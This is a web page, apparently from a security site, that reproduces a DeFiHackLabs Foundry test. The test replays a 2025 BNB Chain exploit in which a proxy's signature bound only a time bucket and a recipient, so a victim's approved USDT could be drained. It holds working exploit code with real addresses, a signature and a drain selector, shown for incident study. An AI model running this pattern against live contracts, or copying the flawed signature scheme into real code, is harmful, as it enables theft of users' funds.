Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/unverified_8fd3_exp.sol

Public reproduction file for dataset entry unverified.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/unverified_8fd3_exp.sol104 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 502.42 USDT
8// Attacker : 0x0BAD002980a744CA944f380B2007Ff9f6C31A4Ba
9// Attack Contract : 0x90f21de8D1a25f6451ea5232C5B646a782Aa9cf0
10// Vulnerable Contract : 0x8Fd3d01Cc65eA0E4dFFFde7Ec8159Dc99a177f0A
11// Attack Tx : https://bscscan.com/tx/0xf2eeaa87a049fb914dfe8c9f1a878fa9a3aab78688107844794dacd5ada99563
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x8Fd3d01Cc65eA0E4dFFFde7Ec8159Dc99a177f0A#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1508
18//
19// Attack summary: The attacker called the proxy with a victim, recipient, and signature; the unverified implementation
20// read the victim's USDT balance and transferred that full balance to the attacker through the victim's proxy allowance.
21// Root cause: The signature only authenticated a 5-minute timestamp bucket and recipient. It did not bind the victim,
22// token, amount, caller, proxy, chain, or a nonce, so any approved victim could be drained to the signed recipient.
24address constant ATTACKER = 0x0BAD002980a744CA944f380B2007Ff9f6C31A4Ba;
25address constant ATTACK_CONTRACT = 0x90f21de8D1a25f6451ea5232C5B646a782Aa9cf0;
26address constant VICTIM = 0x3F41A2d69375fB913DDfd333e5c5942e7D72F29e;
27address constant ENTRY_STATE_PROXY = 0xE641fCaE9a9e72b7417854bd9ffD2bDce203106c;
28address constant VULNERABLE_CONTRACT = 0x8Fd3d01Cc65eA0E4dFFFde7Ec8159Dc99a177f0A;
29address constant AUTHORIZED_SIGNER = 0xCC213E64325AF4725fb2b26FA2d822926F487CfE;
30IERC20 constant USDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955);
32contract ContractTest is BaseTestWithBalanceLog {
33 function setUp() public {
34 uint256 forkBlock = 54_350_435;
35 vm.createSelectFork("bsc", forkBlock);
37 fundingToken = address(USDT_TOKEN);
38 attacker = ATTACKER;
40 vm.label(ATTACKER, "Attacker");
41 vm.label(ATTACK_CONTRACT, "Trace Attack Contract");
42 vm.label(VICTIM, "Victim");
43 vm.label(ENTRY_STATE_PROXY, "Entry State Proxy");
44 vm.label(VULNERABLE_CONTRACT, "Unverified Implementation");
45 vm.label(address(USDT_TOKEN), "USDT");
46 }
48 function testExploit() public balanceLog {
49 uint256 victimBalanceBefore = USDT_TOKEN.balanceOf(VICTIM);
50 uint256 attackerBalanceBefore = USDT_TOKEN.balanceOf(ATTACKER);
51 uint256 proxyAllowance = USDT_TOKEN.allowance(VICTIM, ENTRY_STATE_PROXY);
53 assertGt(victimBalanceBefore, 500 ether, "victim should hold trace USDT balance");
54 assertEq(attackerBalanceBefore, 0, "attacker starts with no USDT");
55 assertGe(proxyAllowance, victimBalanceBefore, "victim allowance covered full balance");
57 bytes memory signature =
58 hex"16dd0346f9e72dd03f66eaea16dc301f9e5ee2387331518003fe1b2a76d544ab79acd7145f17ee446458c77ddc3379839f185bf3f028abd0959e818886c34e161c";
59 bytes4 unverifiedDrainSelector = 0x97e76253;
61 // The decompiled implementation verifies keccak256(abi.encodePacked(timeBucket, recipient)).
62 // VICTIM and amount are not part of the signed message, but are still used in transferFrom below.
63 uint256 fiveMinuteBucket = (block.timestamp / 300) * 300;
64 bytes32 recipientOnlyDigest = keccak256(abi.encodePacked(fiveMinuteBucket, ATTACKER));
65 assertEq(recoverSigner(recipientOnlyDigest, signature), AUTHORIZED_SIGNER, "recipient signature is valid");
67 // step 1: deploy and use a local helper to mirror the short-lived initcode attack contract.
68 vm.prank(ATTACKER);
69 AttackHelper helper = new AttackHelper();
70 vm.label(address(helper), "Local Attack Helper");
72 // step 2: call the unverified proxy selector with the trace-decoded victim, recipient, and signature.
73 vm.prank(ATTACKER);
74 helper.execute(ENTRY_STATE_PROXY, unverifiedDrainSelector, VICTIM, ATTACKER, signature);
76 // step 3: the proxy drained the victim's full USDT balance to the attacker.
77 assertEq(USDT_TOKEN.balanceOf(VICTIM), 0, "victim USDT should be drained");
78 assertEq(
79 USDT_TOKEN.balanceOf(ATTACKER) - attackerBalanceBefore, victimBalanceBefore, "attacker received victim balance"
80 );
81 }
83 function recoverSigner(bytes32 digest, bytes memory signature) internal pure returns (address) {
84 require(signature.length == 65, "bad signature length");
86 bytes32 r;
87 bytes32 s;
88 uint8 v;
89 assembly {
90 r := mload(add(signature, 32))
91 s := mload(add(signature, 64))
92 v := byte(0, mload(add(signature, 96)))
93 }
95 return ecrecover(digest, v, r, s);
96 }
99contract AttackHelper {
100 function execute(address proxy, bytes4 selector, address victim, address recipient, bytes memory signature) external {
101 (bool ok,) = proxy.call(abi.encodeWithSelector(selector, victim, recipient, signature));
102 require(ok, "proxy call failed");
103 }

Analysis

Dataset entry

Public Foundry test for “unverified” (2025-07-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0bad002980a744ca944f380b2007ff9f6c31a4ba

  • Attack Contract

    0x90f21de8d1a25f6451ea5232c5b646a782aa9cf0

  • Vulnerable Contract

    0x8fd3d01cc65ea0e4dfffde7ec8159dc99a177f0a

  • Attack Tx

    0xf2eeaa87a049fb914dfe8c9f1a878fa9a3aab78688107844794dacd5ada99563

File record

Name
unverified
Path
src/test/2025-07/unverified_8fd3_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e86a18889570c5432c5b31c1c22c0bec0166cd0b
Language
Solidity
Size
105 lines
Date
2025-07-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/unverified_8fd3_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e86a18889570c5432c5b31c1c22c0bec0166cd0b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.